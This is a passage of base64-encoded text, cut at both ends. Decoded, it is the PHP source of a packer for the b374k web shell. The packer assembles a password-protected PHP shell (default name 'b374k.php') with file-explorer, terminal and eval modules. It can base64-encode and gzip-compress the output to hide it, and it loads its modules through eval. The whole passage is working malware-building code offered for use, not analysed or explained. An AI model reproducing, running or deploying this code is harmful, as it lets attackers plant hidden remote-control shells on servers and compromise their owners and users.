1lKSAkYXZhaWxhYmxlX3RoZW1lcyAuPSAiPG9wdGlvbiBzZWxlY3RlZD0nc2VsZWN0ZWQnPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVsc2UgJGF2YWlsYWJsZV90aGVtZXMgLj0gIjxvcHRpb24+Ii4kay4iPC9vcHRpb24+IjsNCgl9DQoJJGF2YWlsYWJsZV90aGVtZXMgLj0gIjwvc2VsZWN0PjwvdGQ+PC90cj4iOw0KDQoJPz48IWRvY3R5cGUgaHRtbD4NCgk8aHRtbD4NCgk8aGVhZD4NCgk8dGl0bGU+PD9waHAgZWNobyAkR0xPQkFMU1sncGFja2VyJ11bJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWydwYWNrZXInXVsndmVyc2lvbiddOz8+PC90aXRsZT4NCgk8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQoJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4NCgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCTw/cGhwIGVjaG8gJGNzc19jb2RlOz8+DQoJI2RldlRpdGxlew0KCQlmb250LXNpemU6MThweDsNCgkJdGV4dC1hbGlnbjpjZW50ZXI7DQoJCWZvbnQtd2VpZ2h0OmJvbGQ7DQoJfQ0KCTwvc3R5bGU+DQoJPC9oZWFkPg0KCTxib2R5Pg0KDQoJPGRpdiBpZD0nd3JhcHBlcicgc3R5bGU9J3BhZGRpbmc6MTJweCc+DQoJCTxkaXYgaWQ9J2RldlRpdGxlJyBjbGFzcz0nYm9yZGVyJz48P3BocCBlY2hvICRHTE9CQUxTWydwYWNrZXInXVsndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3BhY2tlciddWyd2ZXJzaW9uJ107Pz48L2Rpdj4NCgkJPGJyPg0KCQk8dGFibGUgY2xhc3M9J2JveHRibCc+DQoJCQk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UXVpY2sgUnVuPC9wPjwvdGg+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjIyMHB4Oyc+TW9kdWxlIChzZXBhcmF0ZWQgYnkgY29tbWEpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtb2R1bGUnIHZhbHVlPSc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddKTs/Pic+PC90ZD48L3RyPg0KCQkJPD9waHAgZWNobyAkYXZhaWxhYmxlX3RoZW1lczsgPz4NCgkJCTx0cj48dGQgY29sc3Bhbj0nMic+DQoJCQkJPGZvcm0gbWV0aG9kPSdnZXQnIGlkPSdydW5Gb3JtJyB0YXJnZXQ9J19ibGFuayc+PGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J21vZHVsZV90b19ydW4nIG5hbWU9J3J1bicgdmFsdWU9Jyc+DQoJCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgaWQ9J3J1bkdvJz5SdW48L3NwYW4+DQoJCQkJPC9mb3JtPg0KCQkJPC90ZD48L3RyPg0KCQk8L3RhYmxlPg0KCQk8YnI+DQoJCTx0YWJsZSBjbGFzcz0nYm94dGJsJz4NCgkJCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5QYWNrPC9wPjwvdGg+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjIyMHB4Oyc+T3V0cHV0PC90ZD48dGQ+PGlucHV0IGlkPSdvdXRwdXRmaWxlJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nYjM3NGsucGhwJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IGlkPSdwYXNzd29yZCcgdHlwZT0ndGV4dCcgdmFsdWU9J2IzNzRrJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk1vZHVsZSAoc2VwYXJhdGVkIGJ5IGNvbW1hKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbW9kdWxlX3RvX3BhY2snIHZhbHVlPSc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddKTs/Pic+PC90ZD48L3RyPg0KCQkJPD9waHAgZWNobyAkYXZhaWxhYmxlX3RoZW1lczsgPz4NCgkJCTx0cj48dGQ+U3RyaXAgQ29tbWVudHMgYW5kIFdoaXRlc3BhY2VzPC90ZD48dGQ+DQoJCQkJPHNlbGVjdCBpZD0nc3RyaXAnIHN0eWxlPSd3aWR0aDoxNTBweDsnPg0KCQkJCQk8b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCI+eWVzPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+bm88L29wdGlvbj4NCgkJCQk8L3NlbGVjdD4NCgkJCTwvdGQ+PC90cj4NCg0KCQkJPHRyPjx0ZD5CYXNlNjQgRW5jb2RlPC90ZD48dGQ+DQoJCQkJPHNlbGVjdCBpZD0nYmFzZTY0JyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz4NCgkJCQkJPG9wdGlvbiBzZWxlY3RlZD0ic2VsZWN0ZWQiPnllczwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPm5vPC9vcHRpb24+DQoJCQkJPC9zZWxlY3Q+DQoJCQk8L3RkPjwvdHI+DQoNCgkJCTx0ciBpZD0nY29tcHJlc3Nfcm93Jz48dGQ+Q29tcHJlc3M8L3RkPjx0ZD4NCgkJCQk8c2VsZWN0IGlkPSdjb21wcmVzcycgc3R5bGU9J3dpZHRoOjE1MHB4Oyc+DQoJCQkJCTxvcHRpb24+bm88L29wdGlvbj4NCgkJCQkJPG9wdGlvbiBzZWxlY3RlZD0ic2VsZWN0ZWQiPmd6ZGVmbGF0ZTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPmd6ZW5jb2RlPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+Z3pjb21wcmVzczwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJCTxzZWxlY3QgaWQ9J2NvbXByZXNzX2xldmVsJyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz4NCgkJCQkJPG9wdGlvbj4xPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+Mjwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPjM8L29wdGlvbj4NCgkJCQkJPG9wdGlvbj40PC9vcHRpb24+DQoJCQkJCTxvcHRpb24+NTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPjY8L29wdGlvbj4NCgkJCQkJPG9wdGlvbj43PC9vcHRpb24+DQoJCQkJCTxvcHRpb24+ODwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCI+OTwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJPC90ZD48L3RyPg0KDQoJCQk8dHI+PHRkIGNvbHNwYW49JzInPg0KCQkJCTxzcGFuIGNsYXNzPSdidXR0b24nIGlkPSdwYWNrR28nPlBhY2s8L3NwYW4+DQoJCQk8L3RkPjwvdHI+DQoJCQk8dHI+PHRkIGNvbHNwYW49JzInIGlkPSdyZXN1bHQnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdyZXN1bHRDb250ZW50Jz48L3RleHRhcmVhPjwvdGQ+PC90cj4NCgkJPC90YWJsZT4NCgk8L2Rpdj4NCg0KCTxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4NCgl2YXIgaW5pdF9zaGVsbCA9IGZhbHNlOw0KCTw/cGhwIGVjaG8gJHplcHRvX2NvZGU7Pz4NCgk8P3BocCBlY2hvICRqc19tYWluX2NvZGU7Pz4NCg0KCXZhciB0YXJnZXR1cmwgPSAnPD9waHAgZWNobyBwYWNrZXJfZ2V0X3NlbGYoKTsgPz4nOw0KCXZhciBkZWJ1ZyA9IGZhbHNlOw0KDQoJWmVwdG8oZnVuY3Rpb24oJCl7DQoJCXJlZnJlc2hfcm93KCk7DQoNCgkJJCgnI3J1bkdvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQoJCQltb2R1bGUgPSAkKCcjbW9kdWxlJykudmFsKCk7DQoJCQkkKCcjbW9kdWxlX3RvX3J1bicpLnZhbChtb2R1bGUpOw0KCQkJJCgnI3J1bkZvcm0nKS5zdWJtaXQoKTsNCgkJfSk7DQoNCgkJJCgnI2Jhc2U2NCcpLm9uKCdjaGFuZ2UnLCBmdW5jdGlvbihlKXsNCgkJCXJlZnJlc2hfcm93KCk7DQoJCX0pOw0KDQoJCSQoJyNwYWNrR28nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsNCgkJCW91dHB1dGZpbGUgPSAkKCcjb3V0cHV0ZmlsZScpLnZhbCgpOw0KCQkJcGFzc3dvcmQgPSAkKCcjcGFzc3dvcmQnKS52YWwoKTsNCgkJCW1vZHVsZSA9ICQoJyNtb2R1bGVfdG9fcGFjaycpLnZhbCgpOw0KCQkJc3RyaXAgPSAkKCcjc3RyaXAnKS52YWwoKTsNCgkJCWJhc2U2NCA9ICQoJyNiYXNlNjQnKS52YWwoKTsNCgkJCWNvbXByZXNzID0gJCgnI2NvbXByZXNzJykudmFsKCk7DQoJCQljb21wcmVzc19sZXZlbCA9ICQoJyNjb21wcmVzc19sZXZlbCcpLnZhbCgpOw0KDQoJCQlzZW5kX3Bvc3Qoe291dHB1dGZpbGU6b3V0cHV0ZmlsZSwgcGFzc3dvcmQ6cGFzc3dvcmQsIG1vZHVsZTptb2R1bGUsIHN0cmlwOnN0cmlwLCBiYXNlNjQ6YmFzZTY0LCBjb21wcmVzczpjb21wcmVzcywgY29tcHJlc3NfbGV2ZWw6Y29tcHJlc3NfbGV2ZWx9LCBmdW5jdGlvbihyZXMpew0KCQkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsNCgkJCQkkKCcjcmVzdWx0Q29udGVudCcpLmh0bWwoc3BsaXRzWzFdKTsNCgkJCQkkKCcjcmVzdWx0JykuaHRtbChzcGxpdHNbMF0pOw0KCQkJfSk7DQoNCgkJfSk7DQoJCQ0KCQkkKCcudGhlbWUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7DQoJCQkkKCcudGhlbWUnKS52YWwoJCh0aGlzKS52YWwoKSk7DQoJCQlzZXRfY29va2llKCdwYWNrZXJfdGhlbWUnLCAkKCcudGhlbWUnKS52YWwoKSk7DQoJCQlsb2NhdGlvbi5ocmVmID0gdGFyZ2V0dXJsOw0KCQl9KTsNCgl9KTsNCg0KCWZ1bmN0aW9uIHJlZnJlc2hfcm93KCl7DQoJCWJhc2U2NCA9ICQoJyNiYXNlNjQnKS52YWwoKTsNCgkJaWYoYmFzZTY0PT0neWVzJyl7DQoJCQkkKCcjY29tcHJlc3Nfcm93Jykuc2hvdygpOw0KCQl9DQoJCWVsc2V7DQoJCQkkKCcjY29tcHJlc3Nfcm93JykuaGlkZSgpOw0KCQkJJCgnI2NvbXByZXNzJykudmFsKCdubycpOw0KCQl9DQoJfQ0KDQoJPC9zY3JpcHQ+DQoJPC9ib2R5Pg0KCTwvaHRtbD48P3BocA0KCX0NCn0NCmVsc2V7DQoJJG91dHB1dCA9ICRHTE9CQUxTWydwYWNrZXInXVsndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3BhY2tlciddWyd2ZXJzaW9uJ10uIlxuXG4iOw0KDQoJaWYoY291bnQoJGFyZ3YpPD0xKXsNCgkJJG91dHB1dCAuPSAib3B0aW9ucyA6XG4iOw0KCQkkb3V0cHV0IC49ICJcdC1vIGZpbGVuYW1lXHRcdFx0XHRzYXZlIGFzIGZpbGVuYW1lXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1wIHBhc3N3b3JkXHRcdFx0XHRwcm90ZWN0IHdpdGggcGFzc3dvcmRcbiI7DQoJCSRvdXRwdXQgLj0gIlx0LXQgdGhlbWVcdFx0XHRcdHRoZW1lIHRvIHVzZVxuIjsNCgkJJG91dHB1dCAuPSAiXHQtbSBtb2R1bGVzXHRcdFx0XHRtb2R1bGVzIHRvIHBhY2sgc2VwYXJhdGVkIGJ5IGNvbW1hXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1zXHRcdFx0XHRcdHN0cmlwIGNvbW1lbnRzIGFuZCB3aGl0ZXNwYWNlc1xuIjsNCgkJJG91dHB1dCAuPSAiXHQtYlx0XHRcdFx0XHRlbmNvZGUgd2l0aCBiYXNlNjRcbiI7DQoJCSRvdXRwdXQgLj0gIlx0LXogW25vfGd6ZGVmbGF0ZXxnemVuY29kZXxnemNvbXByZXNzXVx0Y29tcHJlc3Npb24gKHVzZSBvbmx5IHdpdGggLWIpXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1jIFswLTldXHRcdFx0XHRsZXZlbCBvZiBjb21wcmVzc2lvblxuIjsNCgkJJG91dHB1dCAuPSAiXHQtbFx0XHRcdFx0XHRsaXN0IGF2YWlsYWJsZSBtb2R1bGVzXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1rXHRcdFx0XHRcdGxpc3QgYXZhaWxhYmxlIHRoZW1lc1xuIjsNCg0KCX0NCgllbHNlew0KCQkkb3B0ID0gZ2V0b3B0KCJvOnA6dDptOnNiejpjOmxrIik7DQoNCgkJaWYoaXNzZXQoJG9wdFsnbCddKSl7DQoJCQkkb3V0cHV0IC49ICJhdmFpbGFibGUgbW9kdWxlcyA6ICIuaW1wbG9kZSgiLCIsICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlJ10pLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoJCQ0KCQlpZihpc3NldCgkb3B0WydrJ10pKXsNCgkJCSRvdXRwdXQgLj0gImF2YWlsYWJsZSB0aGVtZXMgOiAiLmltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lJ10pLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoNCgkJaWYoaXNzZXQoJG9wdFsnbyddKSYmKHRyaW0oJG9wdFsnbyddKSE9JycpKXsNCgkJCSRvdXRwdXRmaWxlID0gdHJpbSgkb3B0WydvJ10pOw0KCQl9DQoJCWVsc2V7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IG5vIGZpbGVuYW1lIGdpdmVuICh1c2UgLW8gZmlsZW5hbWUpXG5cbiI7DQoJCQllY2hvICRvdXRwdXQ7DQoJCQlkaWUoKTsNCgkJfQ0KDQoJCSRwYXNzd29yZCA9IGlzc2V0KCRvcHRbJ3AnXSk/IHRyaW0oJG9wdFsncCddKToiIjsNCgkJJHRoZW1lID0gaXNzZXQoJG9wdFsndCddKT8gdHJpbSgkb3B0Wyd0J10pOiJkZWZhdWx0IjsNCgkJaWYoIWluX2FycmF5KCR0aGVtZSwgJEdMT0JBTFNbJ3BhY2tlciddWyd0aGVtZSddKSl7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVua25vd24gdGhlbWUgZmlsZVxuXG4iOw0KCQkJZWNobyAkb3V0cHV0Ow0KCQkJZGllKCk7DQoJCX0NCgkJJGNzc19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lX2RpciddLiR0aGVtZS4iLmNzcyIpOw0KCQkNCgkJJG1vZHVsZXMgPSBpc3NldCgkb3B0WydtJ10pPyB0cmltKCRvcHRbJ20nXSk6aW1wbG9kZSgiLCIsICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlJ10pOw0KCQlpZihlbXB0eSgkbW9kdWxlcykpICRtb2R1bGVzID0gYXJyYXkoKTsNCgkJZWxzZSAkbW9kdWxlcyA9IGV4cGxvZGUoIiwiICwkbW9kdWxlcyk7DQoNCgkJJHN0cmlwID0gaXNzZXQoJG9wdFsncyddKT8gInllcyI6Im5vIjsNCgkJJGJhc2U2NCA9IGlzc2V0KCRvcHRbJ2InXSk/ICJ5ZXMiOiJubyI7DQoNCgkJJGNvbXByZXNzID0gaXNzZXQoJG9wdFsneiddKT8gdHJpbSgkb3B0Wyd6J10pOiJubyI7DQoJCWlmKCgkY29tcHJlc3MhPSdnemRlZmxhdGUnKSYmKCRjb21wcmVzcyE9J2d6ZW5jb2RlJykmJigkY29tcHJlc3MhPSdnemNvbXByZXNzJykmJigkY29tcHJlc3MhPSdubycpKXsNCgkJCSRvdXRwdXQgLj0gImVycm9yIDogdW5rbm93biBvcHRpb25zIC16ICIuJGNvbXByZXNzLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoJCWVsc2V7DQoJCQlpZigoJGJhc2U2ND09J25vJykmJigkY29tcHJlc3MhPSdubycpKXsNCgkJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVzZSAteiBvcHRpb25zIG9ubHkgd2l0aCAtYlxuXG4iOw0KCQkJCWVjaG8gJG91dHB1dDsNCgkJCQlkaWUoKTsNCgkJCX0NCgkJfQ0KDQoJCSRjb21wcmVzc19sZXZlbCA9IGlzc2V0KCRvcHRbJ2MnXSk/IHRyaW0oJG9wdFsnYyddKToiIjsNCgkJaWYoZW1wdHkoJGNvbXByZXNzX2xldmVsKSkgJGNvbXByZXNzX2xldmVsID0gJzknOw0KCQlpZighcHJlZ19tYXRjaCgiL15bMC05XXsxfSQvIiwgJGNvbXByZXNzX2xldmVsKSl7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVua25vd24gb3B0aW9ucyAtYyAiLiRjb21wcmVzc19sZXZlbC4iICh1c2Ugb25seSAwLTkpXG5cbiI7DQoJCQllY2hvICRvdXRwdXQ7DQoJCQlkaWUoKTsNCgkJfQ0KCQkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkY29tcHJlc3NfbGV2ZWw7DQoNCgkJJG91dHB1dCAuPSAiRmlsZW5hbWVcdFx0OiAiLiRvdXRwdXRmaWxlLiJcbiI7DQoJCSRvdXRwdXQgLj0gIlBhc3N3b3JkXHRcdDogIi4kcGFzc3dvcmQuIlxuIjsNCgkJJG91dHB1dCAuPSAiVGhlbWVcdFx0XHQ6ICIuJHRoZW1lLiJcbiI7DQoJCSRvdXRwdXQgLj0gIk1vZHVsZXNcdFx0XHQ6ICIuaW1wbG9kZSgiLCIsJG1vZHVsZXMpLiJcbiI7DQoJCSRvdXRwdXQgLj0gIlN0cmlwXHRcdFx0OiAiLiRzdHJpcC4iXG4iOw0KCQkkb3V0cHV0IC49ICJCYXNlNjRcdFx0XHQ6ICIuJGJhc2U2NC4iXG4iOw0KCQlpZigkYmFzZTY0PT0neWVzJykgJG91dHB1dCAuPSAiQ29tcHJlc3Npb25cdFx0OiAiLiRjb21wcmVzcy4iXG4iOw0KCQlpZigkYmFzZTY0PT0neWVzJykgJG91dHB1dCAuPSAiQ29tcHJlc3Npb24gbGV2ZWxcdDogIi4kY29tcHJlc3NfbGV2ZWwuIlxuIjsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21lcmdlKGFycmF5KCJleHBsb3JlciIsICJ0ZXJtaW5hbCIsICJldmFsIiksICRtb2R1bGVzKTsNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tYXAoInBhY2tlcl93cmFwX3dpdGhfcXVvdGUiLCAkbW9kdWxlX2Fycik7DQoJCSRtb2R1bGVfaW5pdCA9ICJcblwkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSA9IGFycmF5KCIuaW1wbG9kZSgiLCAiLCAkbW9kdWxlX2FycikuIik7IjsNCg0KCQlmb3JlYWNoKCRtb2R1bGVzIGFzICRtb2R1bGUpew0KCQkJJG1vZHVsZSA9IHRyaW0oJG1vZHVsZSk7DQoJCQkkZmlsZW5hbWUgPSAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXS4kbW9kdWxlOw0KCQkJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSkgJG1vZHVsZV9jb2RlIC49IHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGVuYW1lLiIucGhwIik7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLmpzIikpICRqc19jb2RlIC49ICJcbiIucGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5qcyIpLiJcbiI7DQoJCX0NCg0KCQkkbGF5b3V0ID0gc3RyX3JlcGxhY2UoIjxfX0NTU19fPiIsICRjc3NfY29kZSwgJGxheW91dCk7DQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fWkVQVE9fXz4iLCAkemVwdG9fY29kZSwgJGxheW91dCk7DQoJCQ0KCQlpZigkc3RyaXA9PSd5ZXMnKSAkanNfY29kZSA9IHBhY2tlcl9wYWNrX2pzKCRqc19jb2RlKTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19KU19fPiIsICRqc19jb2RlLCAkbGF5b3V0KTsNCg0KCQkkaHRtbGNvZGUgPSB0cmltKCRsYXlvdXQpOw0KCQkkcGhwY29kZSA9ICI8P3BocCAiLnRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLnRyaW0oJGJhc2VfY29kZSkudHJpbSgkbW9kdWxlX2NvZGUpOw0KDQoJCSRyZXMgPSBwYWNrZXJfYjM3NGsoJG91dHB1dGZpbGUsICRwaHBjb2RlLCAkaHRtbGNvZGUsICRzdHJpcCwgJGJhc2U2NCwgJGNvbXByZXNzLCAkY29tcHJlc3NfbGV2ZWwsICRwYXNzd29yZCk7DQoJCSRzdGF0dXMgPSBleHBsb2RlKCJ7W3xiMzc0a3xdfSIsICRyZXMpOw0KCQkkb3V0cHV0IC49ICJSZXN1bHRcdFx0XHQ6ICIuc3RyaXBfdGFncygkc3RhdHVzWzBdKS4iXG5cbiI7DQoJfQ0KCWVjaG8gJG91dHB1dDsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3JlYWRfZmlsZSgkZmlsZSl7DQoJJGNvbnRlbnQgPSBmYWxzZTsNCglpZigkZmggPSBAZm9wZW4oJGZpbGUsICJyYiIpKXsNCgkJJGNvbnRlbnQgPSAiIjsNCgkJd2hpbGUoIWZlb2YoJGZoKSl7DQoJCSAgJGNvbnRlbnQgLj0gZnJlYWQoJGZoLCA4MTkyKTsNCgkJfQ0KCX0NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl93cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7DQoJaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7DQoJCWlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKXsNCgkJCWlmKCFjbGFzc19leGlzdHMoIlppcEFyY2hpdmUiKSkgcmV0dXJuIHRydWU7DQoJCQkNCgkJCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuemlwIikpIHVubGluayAoJGZpbGUuIi56aXAiKTsNCgkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KCQkJJGZpbGVuYW1lID0gIi4vIi4kZmlsZS4iLnppcCI7DQoNCgkJCWlmKCR6aXAtPm9wZW4oJGZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpIT09VFJVRSkgcmV0dXJuIGZhbHNlOw0KCQkJJHppcC0+YWRkRmlsZSgkZmlsZSk7DQoJCQkkemlwLT5jbG9zZSgpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfZ2V0X3Bvc3QoKXsNCglyZXR1cm4gcGFja2VyX2ZpeF9tYWdpY19xdW90ZSgkX1BPU1QpOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfZml4X21hZ2ljX3F1b3RlKCRhcnIpew0KCSRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCgkJaWYoaXNfYXJyYXkoJGFycikpew0KCQkJZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7DQoJCQkJaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsNCgkJCQllbHNlICRhcnJbJGtdID0gKGVtcHR5KCRxdW90ZXNfc3liYXNlKSB8fCAkcXVvdGVzX3N5YmFzZSA9PT0gJ29mZicpPyBzdHJpcHNsYXNoZXMoJHYpIDogc3RyaXBzbGFzaGVzKHN0cl9yZXBsYWNlKCJcJ1wnIiwgIlwnIiwgJHYpKTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gJGFycjsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX2h0bWxfc2FmZSgkc3RyKXsNCglyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkc3RyLCAyIHwgMSk7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl93cmFwX3dpdGhfcXVvdGUoJHN0cil7DQoJcmV0dXJuICJcIiIuJHN0ci4iXCIiOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfb3V0cHV0KCRzdHIpew0KCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQoJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOw0KCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KCWVjaG8gJHN0cjsNCglkaWUoKTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX2dldF9zZWxmKCl7DQoJJHF1ZXJ5ID0gKGlzc2V0KCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkmJighZW1wdHkoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkpPyI/Ii4kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06IiI7DQoJcmV0dXJuIHBhY2tlcl9odG1sX3NhZmUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJHF1ZXJ5KTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3N0cmlwcygkc3RyKXsNCgkkbmV3U3RyID0gJyc7DQoNCgkkY29tbWVudFRva2VucyA9IGFycmF5KFRfQ09NTUVOVCk7DQoNCglpZihkZWZpbmVkKCdUX0RPQ19DT01NRU5UJykpICRjb21tZW50VG9rZW5zW10gPSBUX0RPQ19DT01NRU5UOw0KCWlmKGRlZmluZWQoJ1RfTUxfQ09NTUVOVCcpKQkkY29tbWVudFRva2Vuc1tdID0gVF9NTF9DT01NRU5UOw0KDQoJJHRva2VucyA9IHRva2VuX2dldF9hbGwoJHN0cik7DQoNCglmb3JlYWNoKCR0b2tlbnMgYXMgJHRva2VuKXsNCgkJaWYgKGlzX2FycmF5KCR0b2tlbikpIHsNCgkJCWlmIChpbl9hcnJheSgkdG9rZW5bMF0sICRjb21tZW50VG9rZW5zKSkgY29udGludWU7DQoJCQkkdG9rZW4gPSAkdG9rZW5bMV07DQoJCX0NCgkkbmV3U3RyIC49ICR0b2tlbjsNCgl9DQoJJG5ld1N0ciA9IHByZWdfcmVwbGFjZSgiLyhcc3syLH0pLyIsICIgIiwgJG5ld1N0cik7DQoJcmV0dXJuICRuZXdTdHI7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl9nZXRfdGhlbWUoKXsNCgkkYXZhaWxhYmxlX3RoZW1lcyA9IGFycmF5KCk7DQoJZm9yZWFjaChnbG9iKCRHTE9CQUxTWydwYWNrZXInXVsndGhlbWVfZGlyJ10uIiouY3NzIikgYXMgJGZpbGVuYW1lKXsNCgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lLCAiLmNzcyIpOw0KCQkkYXZhaWxhYmxlX3RoZW1lc1tdID0gJGZpbGVuYW1lOw0KCX0NCglyZXR1cm4gJGF2YWlsYWJsZV90aGVtZXM7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl9nZXRfbW9kdWxlKCl7DQoJJGF2YWlsYWJsZV9tb2R1bGVzID0gYXJyYXkoKTsNCglmb3JlYWNoKGdsb2IoJEdMT0JBTFNbJ3BhY2tlciddWydtb2R1bGVfZGlyJ10uIioucGhwIikgYXMgJGZpbGVuYW1lKXsNCgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lLCAiLnBocCIpOw0KCQlpZihwYWNrZXJfY2hlY2tfbW9kdWxlKCRmaWxlbmFtZSkpICRhdmFpbGFibGVfbW9kdWxlc1tdID0gJGZpbGVuYW1lOw0KCX0NCglyZXR1cm4gJGF2YWlsYWJsZV9tb2R1bGVzOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfY2hlY2tfbW9kdWxlKCRtb2R1bGUpew0KCSRmaWxlbmFtZSA9ICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlX2RpciddLiRtb2R1bGU7DQoJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSl7DQoJCSRjb250ZW50ID0gcGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5waHAiKTsNCgkJQGV2YWwoIj8+Ii4kY29udGVudCk7DQoJCWlmKCRHTE9CQUxTWydtb2R1bGUnXVskbW9kdWxl